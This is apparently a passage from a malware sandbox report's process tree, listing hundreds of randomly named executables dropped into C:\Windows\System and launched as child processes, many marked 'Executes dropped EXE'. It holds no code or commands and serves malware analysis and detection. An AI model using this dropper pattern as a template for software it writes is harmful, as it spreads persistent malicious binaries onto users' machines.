- C:\Windows\System\BduajBL.exe
  C:\Windows\System\BduajBL.exe
  2⤵
  - Executes dropped EXE
  PID:5092
- C:\Windows\System\OyGYUZA.exe
  C:\Windows\System\OyGYUZA.exe
  2⤵
  - Executes dropped EXE
  PID:4412
- C:\Windows\System\LNrCcIY.exe
  C:\Windows\System\LNrCcIY.exe
  2⤵
  - Executes dropped EXE
  PID:684
- C:\Windows\System\hECHpEH.exe
  C:\Windows\System\hECHpEH.exe
  2⤵
  - Executes dropped EXE
  PID:4916
- C:\Windows\System\kuEabhc.exe
  C:\Windows\System\kuEabhc.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\KQuLrZE.exe
  C:\Windows\System\KQuLrZE.exe
  2⤵
  - Executes dropped EXE
  PID:4928
- C:\Windows\System\quMFhXc.exe
  C:\Windows\System\quMFhXc.exe
  2⤵
  - Executes dropped EXE
  PID:1884
- C:\Windows\System\msqBDNx.exe
  C:\Windows\System\msqBDNx.exe
  2⤵
  - Executes dropped EXE
  PID:1876
- C:\Windows\System\dyzOayJ.exe
  C:\Windows\System\dyzOayJ.exe
  2⤵
  - Executes dropped EXE
  PID:2264
- C:\Windows\System\lNilQNT.exe
  C:\Windows\System\lNilQNT.exe
  2⤵
  - Executes dropped EXE
  PID:3740
- C:\Windows\System\HVAXJXD.exe
  C:\Windows\System\HVAXJXD.exe
  2⤵
  - Executes dropped EXE
  PID:3484
- C:\Windows\System\FlgZApy.exe
  C:\Windows\System\FlgZApy.exe
  2⤵
  - Executes dropped EXE
  PID:4644
- C:\Windows\System\onsFIAI.exe
  C:\Windows\System\onsFIAI.exe
  2⤵
  - Executes dropped EXE
  PID:956
- C:\Windows\System\QxtQQOR.exe
  C:\Windows\System\QxtQQOR.exe
  2⤵
  - Executes dropped EXE
  PID:3764
- C:\Windows\System\rcpTSkc.exe
  C:\Windows\System\rcpTSkc.exe
  2⤵
  - Executes dropped EXE
  PID:4712
- C:\Windows\System\QrypEkr.exe
  C:\Windows\System\QrypEkr.exe
  2⤵
  - Executes dropped EXE
  PID:2628
- C:\Windows\System\xzyAmYm.exe
  C:\Windows\System\xzyAmYm.exe
  2⤵
  - Executes dropped EXE
  PID:4284
- C:\Windows\System\FzOOiIZ.exe
  C:\Windows\System\FzOOiIZ.exe
  2⤵
  - Executes dropped EXE
  PID:932
- C:\Windows\System\lBjdYOi.exe
  C:\Windows\System\lBjdYOi.exe
  2⤵
  - Executes dropped EXE
  PID:3508
- C:\Windows\System\DEURBDG.exe
  C:\Windows\System\DEURBDG.exe
  2⤵
  - Executes dropped EXE
  PID:668
- C:\Windows\System\vMEISWS.exe
  C:\Windows\System\vMEISWS.exe
  2⤵
  - Executes dropped EXE
  PID:2732
- C:\Windows\System\YQzQVhY.exe
  C:\Windows\System\YQzQVhY.exe
  2⤵
  - Executes dropped EXE
  PID:3228
- C:\Windows\System\SWxcXyd.exe
  C:\Windows\System\SWxcXyd.exe
  2⤵
  - Executes dropped EXE
  PID:2436
- C:\Windows\System\lHTQynn.exe
  C:\Windows\System\lHTQynn.exe
  2⤵
  - Executes dropped EXE
  PID:336
- C:\Windows\System\juLaROm.exe
  C:\Windows\System\juLaROm.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\vVFXaOP.exe
  C:\Windows\System\vVFXaOP.exe
  2⤵
  - Executes dropped EXE
  PID:2308
- C:\Windows\System\lSDcsCp.exe
  C:\Windows\System\lSDcsCp.exe
  2⤵
  - Executes dropped EXE
  PID:2600
- C:\Windows\System\WcKvPoZ.exe
  C:\Windows\System\WcKvPoZ.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\NUtBpox.exe
  C:\Windows\System\NUtBpox.exe
  2⤵
  - Executes dropped EXE
  PID:1364
- C:\Windows\System\IMnDIDx.exe
  C:\Windows\System\IMnDIDx.exe
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\System\xfxUUkc.exe
  C:\Windows\System\xfxUUkc.exe
  2⤵
  - Executes dropped EXE
  PID:4788
- C:\Windows\System\dWdlTts.exe
  C:\Windows\System\dWdlTts.exe
  2⤵
  - Executes dropped EXE
  PID:4192
- C:\Windows\System\JUhbpnS.exe
  C:\Windows\System\JUhbpnS.exe
  2⤵
  - Executes dropped EXE
  PID:1152
- C:\Windows\System\lixMfon.exe
  C:\Windows\System\lixMfon.exe
  2⤵
  - Executes dropped EXE
  PID:2028
- C:\Windows\System\vOhnehm.exe
  C:\Windows\System\vOhnehm.exe
  2⤵
  - Executes dropped EXE
  PID:1536
- C:\Windows\System\HIxzZSJ.exe
  C:\Windows\System\HIxzZSJ.exe
  2⤵
  - Executes dropped EXE
  PID:1388
- C:\Windows\System\NXUNuvC.exe
  C:\Windows\System\NXUNuvC.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\mKXlebX.exe
  C:\Windows\System\mKXlebX.exe
  2⤵
  - Executes dropped EXE
  PID:2956
- C:\Windows\System\hymeXTc.exe
  C:\Windows\System\hymeXTc.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\DEiFCme.exe
  C:\Windows\System\DEiFCme.exe
  2⤵
  - Executes dropped EXE
  PID:2032
- C:\Windows\System\PibjDXH.exe
  C:\Windows\System\PibjDXH.exe
  2⤵
  - Executes dropped EXE
  PID:4492
- C:\Windows\System\UYFfSjM.exe
  C:\Windows\System\UYFfSjM.exe
  2⤵
  PID:4548
- C:\Windows\System\VBEcAWM.exe
  C:\Windows\System\VBEcAWM.exe
  2⤵
  PID:4464
- C:\Windows\System\lWVUgMq.exe
  C:\Windows\System\lWVUgMq.exe
  2⤵
  PID:1420
- C:\Windows\System\HNNaEnc.exe
  C:\Windows\System\HNNaEnc.exe
  2⤵
  PID:2412
- C:\Windows\System\JDIpyAh.exe
  C:\Windows\System\JDIpyAh.exe
  2⤵
  PID:2776
- C:\Windows\System\AjuuOMw.exe
  C:\Windows\System\AjuuOMw.exe
  2⤵
  PID:3436
- C:\Windows\System\IvyYhaF.exe
  C:\Windows\System\IvyYhaF.exe
  2⤵
  PID:4112
- C:\Windows\System\lAghTOp.exe
  C:\Windows\System\lAghTOp.exe
  2⤵
  PID:2764
- C:\Windows\System\VhzhJfH.exe
  C:\Windows\System\VhzhJfH.exe
  2⤵
  PID:3936
- C:\Windows\System\saVNxlv.exe
  C:\Windows\System\saVNxlv.exe
  2⤵
  PID:1792
- C:\Windows\System\jBYBZxf.exe
  C:\Windows\System\jBYBZxf.exe
  2⤵
  PID:3108
- C:\Windows\System\HsfwySg.exe
  C:\Windows\System\HsfwySg.exe
  2⤵
  PID:2640
- C:\Windows\System\GKdYZJF.exe
  C:\Windows\System\GKdYZJF.exe
  2⤵
  PID:1252
- C:\Windows\System\cbPSjUC.exe
  C:\Windows\System\cbPSjUC.exe
  2⤵
  PID:1236
- C:\Windows\System\jDEoYKz.exe
  C:\Windows\System\jDEoYKz.exe
  2⤵
  PID:3960
- C:\Windows\System\ndMFgxP.exe
  C:\Windows\System\ndMFgxP.exe
  2⤵
  PID:4940
- C:\Windows\System\hWNcHQy.exe
  C:\Windows\System\hWNcHQy.exe
  2⤵
  PID:3672
- C:\Windows\System\ujlBMkR.exe
  C:\Windows\System\ujlBMkR.exe
  2⤵
  PID:4024
- C:\Windows\System\RTCjpoY.exe
  C:\Windows\System\RTCjpoY.exe
  2⤵
  PID:2836
- C:\Windows\System\NBQXFlw.exe
  C:\Windows\System\NBQXFlw.exe
  2⤵
  PID:5184
- C:\Windows\System\flPZbmw.exe
  C:\Windows\System\flPZbmw.exe
  2⤵
  PID:5204
- C:\Windows\System\BFXCeli.exe
  C:\Windows\System\BFXCeli.exe
  2⤵
  PID:5220
- C:\Windows\System\tHOerWw.exe
  C:\Windows\System\tHOerWw.exe
  2⤵
  PID:5240
- C:\Windows\System\HOprPkv.exe
  C:\Windows\System\HOprPkv.exe
  2⤵
  PID:5264
- C:\Windows\System\AigjffW.exe
  C:\Windows\System\AigjffW.exe
  2⤵
  PID:5284
- C:\Windows\System\bEjQoEY.exe
  C:\Windows\System\bEjQoEY.exe
  2⤵
  PID:5308
- C:\Windows\System\guUXChr.exe
  C:\Windows\System\guUXChr.exe
  2⤵
  PID:5324
- C:\Windows\System\ruWxvMo.exe
  C:\Windows\System\ruWxvMo.exe
  2⤵
  PID:5352
- C:\Windows\System\KgHcLqQ.exe
  C:\Windows\System\KgHcLqQ.exe
  2⤵
  PID:5372
- C:\Windows\System\zQxFCkf.exe
  C:\Windows\System\zQxFCkf.exe
  2⤵
  PID:5400
- C:\Windows\System\cirMimL.exe
  C:\Windows\System\cirMimL.exe
  2⤵
  PID:5416
- C:\Windows\System\trRKHnW.exe
  C:\Windows\System\trRKHnW.exe
  2⤵
  PID:5504
- C:\Windows\System\OcLgNIZ.exe
  C:\Windows\System\OcLgNIZ.exe
  2⤵
  PID:5544
- C:\Windows\System\Rzblulg.exe
  C:\Windows\System\Rzblulg.exe
  2⤵
  PID:5568
- C:\Windows\System\Htaorej.exe
  C:\Windows\System\Htaorej.exe
  2⤵
  PID:5588
- C:\Windows\System\CMxSnhI.exe
  C:\Windows\System\CMxSnhI.exe
  2⤵
  PID:5604
- C:\Windows\System\AHCcror.exe
  C:\Windows\System\AHCcror.exe
  2⤵
  PID:5636
- C:\Windows\System\VBaFjzc.exe
  C:\Windows\System\VBaFjzc.exe
  2⤵
  PID:5660
- C:\Windows\System\DcCSnZG.exe
  C:\Windows\System\DcCSnZG.exe
  2⤵
  PID:5680
- C:\Windows\System\FGUsyCJ.exe
  C:\Windows\System\FGUsyCJ.exe
  2⤵
  PID:5704
- C:\Windows\System\OmOAXRX.exe
  C:\Windows\System\OmOAXRX.exe
  2⤵
  PID:5724
- C:\Windows\System\GWYyjNx.exe
  C:\Windows\System\GWYyjNx.exe
  2⤵
  PID:5744
- C:\Windows\System\cNmZmeA.exe
  C:\Windows\System\cNmZmeA.exe
  2⤵
  PID:5760
- C:\Windows\System\hCLWTLd.exe
  C:\Windows\System\hCLWTLd.exe
  2⤵
  PID:5780
- C:\Windows\System\iOfAcgd.exe
  C:\Windows\System\iOfAcgd.exe
  2⤵
  PID:5800
- C:\Windows\System\KGAIayw.exe
  C:\Windows\System\KGAIayw.exe
  2⤵
  PID:5820
- C:\Windows\System\SjcSKiA.exe
  C:\Windows\System\SjcSKiA.exe
  2⤵
  PID:5844
- C:\Windows\System\PrbxJcH.exe
  C:\Windows\System\PrbxJcH.exe
  2⤵
  PID:5872
- C:\Windows\System\gjETLUO.exe
  C:\Windows\System\gjETLUO.exe
  2⤵
  PID:5888
- C:\Windows\System\mgoHzwd.exe
  C:\Windows\System\mgoHzwd.exe
  2⤵
  PID:5916
- C:\Windows\System\lPrlJIU.exe
  C:\Windows\System\lPrlJIU.exe
  2⤵
  PID:5932
- C:\Windows\System\nKLdlbY.exe
  C:\Windows\System\nKLdlbY.exe
  2⤵
  PID:5964
- C:\Windows\System\aObAfgF.exe
  C:\Windows\System\aObAfgF.exe
  2⤵
  PID:5980
- C:\Windows\System\rvlmEeB.exe
  C:\Windows\System\rvlmEeB.exe
  2⤵
  PID:6004
- C:\Windows\System\CQVHijh.exe
  C:\Windows\System\CQVHijh.exe
  2⤵
  PID:6040
- C:\Windows\System\DLkruFr.exe
  C:\Windows\System\DLkruFr.exe
  2⤵
  PID:6056
- C:\Windows\System\cVYUcpA.exe
  C:\Windows\System\cVYUcpA.exe
  2⤵
  PID:6080
- C:\Windows\System\YEnHEZJ.exe
  C:\Windows\System\YEnHEZJ.exe
  2⤵
  PID:6104
- C:\Windows\System\PtNMoTI.exe
  C:\Windows\System\PtNMoTI.exe
  2⤵
  PID:6124
- C:\Windows\System\ZtvlThU.exe
  C:\Windows\System\ZtvlThU.exe
  2⤵
  PID:4936
- C:\Windows\System\DnwOPPw.exe
  C:\Windows\System\DnwOPPw.exe
  2⤵
  PID:1508
- C:\Windows\System\HqtviwC.exe
  C:\Windows\System\HqtviwC.exe
  2⤵
  PID:1416
- C:\Windows\System\trKLAQM.exe
  C:\Windows\System\trKLAQM.exe
  2⤵
  PID:2088
- C:\Windows\System\xiSFDQD.exe
  C:\Windows\System\xiSFDQD.exe
  2⤵
  PID:1484
- C:\Windows\System\EOlhvfm.exe
  C:\Windows\System\EOlhvfm.exe
  2⤵
  PID:3632
- C:\Windows\System\DpjalLu.exe
  C:\Windows\System\DpjalLu.exe
  2⤵
  PID:3164
- C:\Windows\System\KcUnXvE.exe
  C:\Windows\System\KcUnXvE.exe
  2⤵
  PID:4932
- C:\Windows\System\ZGuuXFQ.exe
  C:\Windows\System\ZGuuXFQ.exe
  2⤵
  PID:4520
- C:\Windows\System\Tpafzbu.exe
  C:\Windows\System\Tpafzbu.exe
  2⤵
  PID:5196
- C:\Windows\System\hxOvLgk.exe
  C:\Windows\System\hxOvLgk.exe
  2⤵
  PID:892
- C:\Windows\System\oGYaGTG.exe
  C:\Windows\System\oGYaGTG.exe
  2⤵
  PID:5176
- C:\Windows\System\IpyxkuZ.exe
  C:\Windows\System\IpyxkuZ.exe
  2⤵
  PID:5144
- C:\Windows\System\TGQsLrQ.exe
  C:\Windows\System\TGQsLrQ.exe
  2⤵
  PID:1916
- C:\Windows\System\bGPkLtp.exe
  C:\Windows\System\bGPkLtp.exe
  2⤵
  PID:2608
- C:\Windows\System\ppknFdw.exe
  C:\Windows\System\ppknFdw.exe
  2⤵
  PID:4468
- C:\Windows\System\SdMvdqS.exe
  C:\Windows\System\SdMvdqS.exe
  2⤵
  PID:5484
- C:\Windows\System\XpcQRXk.exe
  C:\Windows\System\XpcQRXk.exe
  2⤵
  PID:5524
- C:\Windows\System\ppfXcTT.exe
  C:\Windows\System\ppfXcTT.exe
  2⤵
  PID:5576
- C:\Windows\System\OrNcwGg.exe
  C:\Windows\System\OrNcwGg.exe
  2⤵
  PID:5644
- C:\Windows\System\dBOiDLz.exe
  C:\Windows\System\dBOiDLz.exe
  2⤵
  PID:5696
- C:\Windows\System\BMTreTd.exe
  C:\Windows\System\BMTreTd.exe
  2⤵
  PID:5768
- C:\Windows\System\neKwvNe.exe
  C:\Windows\System\neKwvNe.exe
  2⤵
  PID:5856
- C:\Windows\System\oDbdstU.exe
  C:\Windows\System\oDbdstU.exe
  2⤵
  PID:6096
- C:\Windows\System\hnJawVH.exe
  C:\Windows\System\hnJawVH.exe
  2⤵
  PID:2000
- C:\Windows\System\fadXQvX.exe
  C:\Windows\System\fadXQvX.exe
  2⤵
  PID:5852
- C:\Windows\System\ltWEykr.exe
  C:\Windows\System\ltWEykr.exe
  2⤵
  PID:5904
- C:\Windows\System\SrXtcwT.exe
  C:\Windows\System\SrXtcwT.exe
  2⤵
  PID:5952
- C:\Windows\System\NKgEtNC.exe
  C:\Windows\System\NKgEtNC.exe
  2⤵
  PID:6000
- C:\Windows\System\XEBUVoI.exe
  C:\Windows\System\XEBUVoI.exe
  2⤵
  PID:6068
- C:\Windows\System\WhPtMBy.exe
  C:\Windows\System\WhPtMBy.exe
  2⤵
  PID:6092
- C:\Windows\System\RrDjUyA.exe
  C:\Windows\System\RrDjUyA.exe
  2⤵
  PID:6140
- C:\Windows\System\LLmJSdA.exe
  C:\Windows\System\LLmJSdA.exe
  2⤵
  PID:6152
- C:\Windows\System\CrXNNla.exe
  C:\Windows\System\CrXNNla.exe
  2⤵
  PID:6168
- C:\Windows\System\hqNMvBL.exe
  C:\Windows\System\hqNMvBL.exe
  2⤵
  PID:6184
- C:\Windows\System\odyFpFC.exe
  C:\Windows\System\odyFpFC.exe
  2⤵
  PID:6200
- C:\Windows\System\FCfruQZ.exe
  C:\Windows\System\FCfruQZ.exe
  2⤵
  PID:6216
- C:\Windows\System\pjaueIj.exe
  C:\Windows\System\pjaueIj.exe
  2⤵
  PID:6232
- C:\Windows\System\yQXHpMb.exe
  C:\Windows\System\yQXHpMb.exe
  2⤵
  PID:6248
- C:\Windows\System\cVhbsTP.exe
  C:\Windows\System\cVhbsTP.exe
  2⤵
  PID:6268
- C:\Windows\System\PNMpsxg.exe
  C:\Windows\System\PNMpsxg.exe
  2⤵
  PID:6288
- C:\Windows\System\HxOhWvC.exe
  C:\Windows\System\HxOhWvC.exe
  2⤵
  PID:6308
- C:\Windows\System\gOpVYcE.exe
  C:\Windows\System\gOpVYcE.exe
  2⤵
  PID:6324
- C:\Windows\System\zGZcNSN.exe
  C:\Windows\System\zGZcNSN.exe
  2⤵
  PID:6344
- C:\Windows\System\rgCzvUV.exe
  C:\Windows\System\rgCzvUV.exe
  2⤵
  PID:6360
- C:\Windows\System\gZkVKoe.exe
  C:\Windows\System\gZkVKoe.exe
  2⤵
  PID:6376
- C:\Windows\System\vagDckh.exe
  C:\Windows\System\vagDckh.exe
  2⤵
  PID:6396
- C:\Windows\System\zQFEouV.exe
  C:\Windows\System\zQFEouV.exe
  2⤵
  PID:6412
- C:\Windows\System\dNFKozt.exe
  C:\Windows\System\dNFKozt.exe
  2⤵
  PID:6432
- C:\Windows\System\HueoBhp.exe
  C:\Windows\System\HueoBhp.exe
  2⤵
  PID:6452
- C:\Windows\System\kLZmtkH.exe
  C:\Windows\System\kLZmtkH.exe
  2⤵
  PID:6468
- C:\Windows\System\kjAFhrq.exe
  C:\Windows\System\kjAFhrq.exe
  2⤵
  PID:6484
- C:\Windows\System\WDuLGTj.exe
  C:\Windows\System\WDuLGTj.exe
  2⤵
  PID:6504
- C:\Windows\System\XxWYCIW.exe
  C:\Windows\System\XxWYCIW.exe
  2⤵
  PID:6524
- C:\Windows\System\jJJuGDg.exe
  C:\Windows\System\jJJuGDg.exe
  2⤵
  PID:6540
- C:\Windows\System\eoxuRIw.exe
  C:\Windows\System\eoxuRIw.exe
  2⤵
  PID:6560
- C:\Windows\System\dlLbTQM.exe
  C:\Windows\System\dlLbTQM.exe
  2⤵
  PID:6580
- C:\Windows\System\iekwvDz.exe
  C:\Windows\System\iekwvDz.exe
  2⤵
  PID:6596
- C:\Windows\System\akqmzLa.exe
  C:\Windows\System\akqmzLa.exe
  2⤵
  PID:6616
- C:\Windows\System\TGQXUsC.exe
  C:\Windows\System\TGQXUsC.exe
  2⤵
  PID:6632
- C:\Windows\System\BdzYsTf.exe
  C:\Windows\System\BdzYsTf.exe
  2⤵
  PID:6652
- C:\Windows\System\EomGftA.exe
  C:\Windows\System\EomGftA.exe
  2⤵
  PID:6672
- C:\Windows\System\QwSCnqW.exe
  C:\Windows\System\QwSCnqW.exe
  2⤵
  PID:6692
- C:\Windows\System\DpVuNEh.exe
  C:\Windows\System\DpVuNEh.exe
  2⤵
  PID:6708
- C:\Windows\System\iJUOvRO.exe
  C:\Windows\System\iJUOvRO.exe
  2⤵
  PID:6728
- C:\Windows\System\irgPVTP.exe
  C:\Windows\System\irgPVTP.exe
  2⤵
  PID:6744
- C:\Windows\System\Sbybobz.exe
  C:\Windows\System\Sbybobz.exe
  2⤵
  PID:6764
- C:\Windows\System\bSkHOpT.exe
  C:\Windows\System\bSkHOpT.exe
  2⤵
  PID:6784
- C:\Windows\System\qgmfcaF.exe
  C:\Windows\System\qgmfcaF.exe
  2⤵
  PID:6808
- C:\Windows\System\JKsJPJx.exe
  C:\Windows\System\JKsJPJx.exe
  2⤵
  PID:6824
- C:\Windows\System\APfrkUK.exe
  C:\Windows\System\APfrkUK.exe
  2⤵
  PID:6840
- C:\Windows\System\XMqmgHc.exe
  C:\Windows\System\XMqmgHc.exe
  2⤵
  PID:7104
- C:\Windows\System\vrIUMuZ.exe
  C:\Windows\System\vrIUMuZ.exe
  2⤵
  PID:7120
- C:\Windows\System\ACRFhGY.exe
  C:\Windows\System\ACRFhGY.exe
  2⤵
  PID:7136
- C:\Windows\System\WKZCaig.exe
  C:\Windows\System\WKZCaig.exe
  2⤵
  PID:7156
- C:\Windows\System\hyHstPE.exe
  C:\Windows\System\hyHstPE.exe
  2⤵
  PID:7176
- C:\Windows\System\OcYgprK.exe
  C:\Windows\System\OcYgprK.exe
  2⤵
  PID:7192
- C:\Windows\System\mMnZEdM.exe
  C:\Windows\System\mMnZEdM.exe
  2⤵
  PID:7212
- C:\Windows\System\uFlXSoN.exe
  C:\Windows\System\uFlXSoN.exe
  2⤵
  PID:7232
- C:\Windows\System\msksOFj.exe
  C:\Windows\System\msksOFj.exe
  2⤵
  PID:7252
- C:\Windows\System\CzLvnpw.exe
  C:\Windows\System\CzLvnpw.exe
  2⤵
  PID:7272
- C:\Windows\System\oLEcydw.exe
  C:\Windows\System\oLEcydw.exe
  2⤵
  PID:7292
- C:\Windows\System\jAiCgRE.exe
  C:\Windows\System\jAiCgRE.exe
  2⤵
  PID:7312
- C:\Windows\System\LzjCKYC.exe
  C:\Windows\System\LzjCKYC.exe
  2⤵
  PID:7332
- C:\Windows\System\yBAeauu.exe
  C:\Windows\System\yBAeauu.exe
  2⤵
  PID:7352
- C:\Windows\System\XzoHVdI.exe
  C:\Windows\System\XzoHVdI.exe
  2⤵
  PID:7372
- C:\Windows\System\aRXmbaq.exe
  C:\Windows\System\aRXmbaq.exe
  2⤵
  PID:7396
- C:\Windows\System\pdNyMDq.exe
  C:\Windows\System\pdNyMDq.exe
  2⤵
  PID:7424
- C:\Windows\System\aGkGeMa.exe
  C:\Windows\System\aGkGeMa.exe
  2⤵
  PID:7440
- C:\Windows\System\FtUlrak.exe
  C:\Windows\System\FtUlrak.exe
  2⤵
  PID:7460
- C:\Windows\System\PyHTQKQ.exe
  C:\Windows\System\PyHTQKQ.exe
  2⤵
  PID:7476
- C:\Windows\System\kjmdngn.exe
  C:\Windows\System\kjmdngn.exe
  2⤵
  PID:7492
- C:\Windows\System\SBzQYdj.exe
  C:\Windows\System\SBzQYdj.exe
  2⤵
  PID:7512
- C:\Windows\System\DiIyuHr.exe
  C:\Windows\System\DiIyuHr.exe
  2⤵
  PID:7528
- C:\Windows\System\QhXFqSD.exe
  C:\Windows\System\QhXFqSD.exe
  2⤵
  PID:7544
- C:\Windows\System\vDNmLXU.exe
  C:\Windows\System\vDNmLXU.exe
  2⤵
  PID:7560
- C:\Windows\System\ohNPoJw.exe
  C:\Windows\System\ohNPoJw.exe
  2⤵
  PID:7576
- C:\Windows\System\BgcCLLG.exe
  C:\Windows\System\BgcCLLG.exe
  2⤵
  PID:7596
- C:\Windows\System\FqbACPS.exe
  C:\Windows\System\FqbACPS.exe
  2⤵
  PID:7616
- C:\Windows\System\ZhcPqvU.exe
  C:\Windows\System\ZhcPqvU.exe
  2⤵
  PID:7632
- C:\Windows\System\PAZTSGy.exe
  C:\Windows\System\PAZTSGy.exe
  2⤵
  PID:7656
- C:\Windows\System\APDlmoW.exe
  C:\Windows\System\APDlmoW.exe
  2⤵
  PID:7672
- C:\Windows\System\TonsQLQ.exe
  C:\Windows\System\TonsQLQ.exe
  2⤵
  PID:7692
- C:\Windows\System\AXcxFSI.exe
  C:\Windows\System\AXcxFSI.exe
  2⤵
  PID:7712
- C:\Windows\System\ofuCNzR.exe
  C:\Windows\System\ofuCNzR.exe
  2⤵
  PID:7732
- C:\Windows\System\ZYXcTXw.exe
  C:\Windows\System\ZYXcTXw.exe
  2⤵
  PID:7748
- C:\Windows\System\ToCeTkk.exe
  C:\Windows\System\ToCeTkk.exe
  2⤵
  PID:7768
- C:\Windows\System\QsOkWBx.exe
  C:\Windows\System\QsOkWBx.exe
  2⤵
  PID:7788
- C:\Windows\System\VsIHirc.exe
  C:\Windows\System\VsIHirc.exe
  2⤵
  PID:7804
- C:\Windows\System\QJkedKk.exe
  C:\Windows\System\QJkedKk.exe
  2⤵
  PID:7820
- C:\Windows\System\bQoomZo.exe
  C:\Windows\System\bQoomZo.exe
  2⤵
  PID:7876
- C:\Windows\System\OyLXzfv.exe
  C:\Windows\System\OyLXzfv.exe
  2⤵
  PID:7892
- C:\Windows\System\tFpnIha.exe
  C:\Windows\System\tFpnIha.exe
  2⤵
  PID:7916
- C:\Windows\System\eJWUXOW.exe
  C:\Windows\System\eJWUXOW.exe
  2⤵
  PID:7936
- C:\Windows\System\eMsJCSL.exe
  C:\Windows\System\eMsJCSL.exe
  2⤵
  PID:7952
- C:\Windows\System\LwCBneH.exe
  C:\Windows\System\LwCBneH.exe
  2⤵
  PID:7980
- C:\Windows\System\MGyhUCU.exe
  C:\Windows\System\MGyhUCU.exe
  2⤵
  PID:8000
- C:\Windows\System\HslAUzd.exe
  C:\Windows\System\HslAUzd.exe
  2⤵
  PID:8020
- C:\Windows\System\SVmYTah.exe
  C:\Windows\System\SVmYTah.exe
  2⤵
  PID:8036
- C:\Windows\System\nnHwyMP.exe
  C:\Windows\System\nnHwyMP.exe
  2⤵
  PID:8056
- C:\Windows\System\oAJeVML.exe
  C:\Windows\System\oAJeVML.exe
  2⤵
  PID:8076
- C:\Windows\System\ecNHIlM.exe
  C:\Windows\System\ecNHIlM.exe
  2⤵
  PID:8100
- C:\Windows\System\CVKUNWr.exe
  C:\Windows\System\CVKUNWr.exe
  2⤵
  PID:8116
- C:\Windows\System\SgEMBoI.exe
  C:\Windows\System\SgEMBoI.exe
  2⤵
  PID:8140
- C:\Windows\System\ZdeoADi.exe
  C:\Windows\System\ZdeoADi.exe
  2⤵
  PID:8164
- C:\Windows\System\cYStuYp.exe
  C:\Windows\System\cYStuYp.exe
  2⤵
  PID:8184
- C:\Windows\System\QbgcHgR.exe
  C:\Windows\System\QbgcHgR.exe
  2⤵
  PID:6608
- C:\Windows\System\VwiLOyc.exe
  C:\Windows\System\VwiLOyc.exe
  2⤵
  PID:6644
- C:\Windows\System\nRIpHcg.exe
  C:\Windows\System\nRIpHcg.exe
  2⤵
  PID:6816
- C:\Windows\System\xClLoUx.exe
  C:\Windows\System\xClLoUx.exe
  2⤵
  PID:6660
- C:\Windows\System\qVZvhRM.exe
  C:\Windows\System\qVZvhRM.exe
  2⤵
  PID:3992
- C:\Windows\System\GWBInIl.exe
  C:\Windows\System\GWBInIl.exe
  2⤵
  PID:8216
- C:\Windows\System\CxGRHNt.exe
  C:\Windows\System\CxGRHNt.exe
  2⤵
  PID:8240
- C:\Windows\System\fOkPCpD.exe
  C:\Windows\System\fOkPCpD.exe
  2⤵
  PID:8256
- C:\Windows\System\wkcRkSB.exe
  C:\Windows\System\wkcRkSB.exe
  2⤵
  PID:8280
- C:\Windows\System\TwBQOEn.exe
  C:\Windows\System\TwBQOEn.exe
  2⤵
  PID:8296
- C:\Windows\System\nSJIBWh.exe
  C:\Windows\System\nSJIBWh.exe
  2⤵
  PID:8312
- C:\Windows\System\TpsbZyB.exe
  C:\Windows\System\TpsbZyB.exe
  2⤵
  PID:8336
- C:\Windows\System\IRdCVPs.exe
  C:\Windows\System\IRdCVPs.exe
  2⤵
  PID:8360
- C:\Windows\System\uXZVgVB.exe
  C:\Windows\System\uXZVgVB.exe
  2⤵
  PID:8376
- C:\Windows\System\QOyjQgO.exe
  C:\Windows\System\QOyjQgO.exe
  2⤵
  PID:8400
- C:\Windows\System\CqIwVzB.exe
  C:\Windows\System\CqIwVzB.exe
  2⤵
  PID:8420
- C:\Windows\System\HTYhKNT.exe
  C:\Windows\System\HTYhKNT.exe
  2⤵
  PID:8440
- C:\Windows\System\HtNdUqt.exe
  C:\Windows\System\HtNdUqt.exe
  2⤵
  PID:8464
- C:\Windows\System\TNEdtLi.exe
  C:\Windows\System\TNEdtLi.exe
  2⤵
  PID:8484
- C:\Windows\System\DLgwMtn.exe
  C:\Windows\System\DLgwMtn.exe
  2⤵
  PID:8508
- C:\Windows\System\esquziK.exe
  C:\Windows\System\esquziK.exe
  2⤵
  PID:8524
- C:\Windows\System\Ncsiglr.exe
  C:\Windows\System\Ncsiglr.exe
  2⤵
  PID:8548
- C:\Windows\System\qDqFrCC.exe
  C:\Windows\System\qDqFrCC.exe
  2⤵
  PID:8568
- C:\Windows\System\JyvVLRg.exe
  C:\Windows\System\JyvVLRg.exe
  2⤵
  PID:8592
- C:\Windows\System\VJcYoUk.exe
  C:\Windows\System\VJcYoUk.exe
  2⤵
  PID:8612
- C:\Windows\System\pCTbZai.exe
  C:\Windows\System\pCTbZai.exe
  2⤵
  PID:8628
- C:\Windows\System\YiFUwxq.exe
  C:\Windows\System\YiFUwxq.exe
  2⤵
  PID:8652
- C:\Windows\System\PvjrXxr.exe
  C:\Windows\System\PvjrXxr.exe
  2⤵
  PID:8676
- C:\Windows\System\yMKrujt.exe
  C:\Windows\System\yMKrujt.exe
  2⤵
  PID:8692
- C:\Windows\System\YwwrGra.exe
  C:\Windows\System\YwwrGra.exe
  2⤵
  PID:8716
- C:\Windows\System\azGoEzu.exe
  C:\Windows\System\azGoEzu.exe
  2⤵
  PID:8744
- C:\Windows\System\AQMqyhi.exe
  C:\Windows\System\AQMqyhi.exe
  2⤵
  PID:8760
- C:\Windows\System\FXcaMsh.exe
  C:\Windows\System\FXcaMsh.exe
  2⤵
  PID:8808
- C:\Windows\System\vdMJXZq.exe
  C:\Windows\System\vdMJXZq.exe
  2⤵
  PID:8828
- C:\Windows\System\nbCfpvI.exe
  C:\Windows\System\nbCfpvI.exe
  2⤵
  PID:8852
- C:\Windows\System\AkUSLHY.exe
  C:\Windows\System\AkUSLHY.exe
  2⤵
  PID:8872
- C:\Windows\System\hdrhZpO.exe
  C:\Windows\System\hdrhZpO.exe
  2⤵
  PID:8896
- C:\Windows\System\fJDDnIz.exe
  C:\Windows\System\fJDDnIz.exe
  2⤵
  PID:8912
- C:\Windows\System\JZTKnJR.exe
  C:\Windows\System\JZTKnJR.exe
  2⤵
  PID:8936
- C:\Windows\System\JvSlJms.exe
  C:\Windows\System\JvSlJms.exe
  2⤵
  PID:8960
- C:\Windows\System\DPoZkLX.exe
  C:\Windows\System\DPoZkLX.exe
  2⤵
  PID:8976
